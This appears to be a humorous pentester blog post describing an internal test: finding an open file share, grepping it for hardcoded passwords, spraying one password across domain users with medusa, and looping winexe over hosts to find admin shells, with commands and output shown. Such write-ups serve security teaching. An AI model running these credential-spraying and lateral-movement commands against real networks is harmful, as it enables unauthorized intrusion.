It Takes Two to Tango (myself, and your unprotected file share)

BananaStand learned from last time (to see last time, go here ). Systems were patched, ACL's were locked down, SIEM was tuned, and the security team got a new coffee pot just to help keep them on edge. Round 2 of our test started early on a Monday morning from within a far away remote office full of developers. At first, I didn't find a thing. I spent what seemed like weeks looking for a way in. I started to doubt my life as a pentester, and began to think if I too could sell frozen bananas to pay the bills. It couldn't be that bad, I'm a fan of bananas. Set my own hours, hone my salesman skills, get my daily allotment of potassium… Then, just as I was drafting my resignation email, I saw a flicker on my terminal:
[+] Attempting to map shares on 10.2.1.61//10.2.1.61/test_share  Mapping: OK, Listing: OK

A share we can access! I save my resignation email as a draft, and start enumerating this machine. Looks like a developers OSX machine, with the test_share directory shared out to the world. I mount the share and start digging around. Looks like some old DB import scripts, snippets of source code, test data, Sharon.avi (which im afraid to click on), and various other nuggets of gold. As you should do with any unknown files, I grepped through them for 'password':
# grep -ri password /mnt/test_share/./test_share/archive/Test/ab2.php:define("PASSWORD", "chillyBanana8"); // Your default super-secret password../test_share/archive/OLD/test/config.php:// username and password to log onto db server./test_share/archive/OLD/test/config.php:$dbpassword='gigglebits';

Awesome, some potentially valid passwords. I tried connecting directly to the db, but it was offline. I bet that chillyBanana8 password is used in more places than this. I wanted to try it against some domain users, so I grepped through the share with a regex that would extract every email address ending in @bananastand.com, giving us a nice list of 35 or so users. Then, I fired up medusa with our userlist and the password we found in the source code against a Domain Controller:
medusa -h 10.2.1.10 -U users.from.source.code -p chillyBanana8 -e ns -M smbnt...ACCOUNT FOUND: [smbnt] Host: 10.250.194.11 User: gmbluth Password: chillyBanana8 [SUCCESS]

Great! Now we have a valid user account on the BananaStand domain. My next step is to see where this little guy has admin access. Lets just write winexe into a quick for loop. Where we get 'ACCESS_DENIED', we don't have administrative access to the system. Where we get a shell, we do :)
for i in $(cat smb.hosts); do echo $i; ./winexe -U mbluth%chillyBanana8 --uninstall //$i cmd; done10.2.1.25ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.31ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.32ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.33ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.35ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.38ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.42ERROR: Failed to open connection - NT_STATUS_ACCESS_DENIED10.2.1.43Microsoft Windows [Version 6.1.7600]Copyright (c) 2009 Microsoft Corporation.  All rights reserved.C:\Windows\system32> ipconfigipconfigWindows IP ConfigurationEthernet adapter Local Area Connection:   Connection-specific DNS Suffix  . : BANANASTAND   IPv4 Address. . . . . . . . . . . : 10.2.1.43   Subnet Mask . . . . . . . . . . . : 255.255.255.0   Default Gateway . . . . . . . . . : 10.2.1.1

Shazam! Our compromised user account gives us admin access to the workstation (enough to run winexe / psexec and compromise the box, anyways). From here, we have any number of paths to work our way up to a higher privilege level, and then start the long hunt for access into their DMZ and recovery of critical data (most likely secret banana recipes). As I furiously type an email to my boss demanding a raise, I start to chuckle at my imagined life as a banana salesman. It wouldn't be all bad I suppose. Any way you look at it, theres always money in the BananaStand.

Trustwave reserves the right to review all comments in the discussion below. Please note that for security and other reasons, we may not approve comments containing links.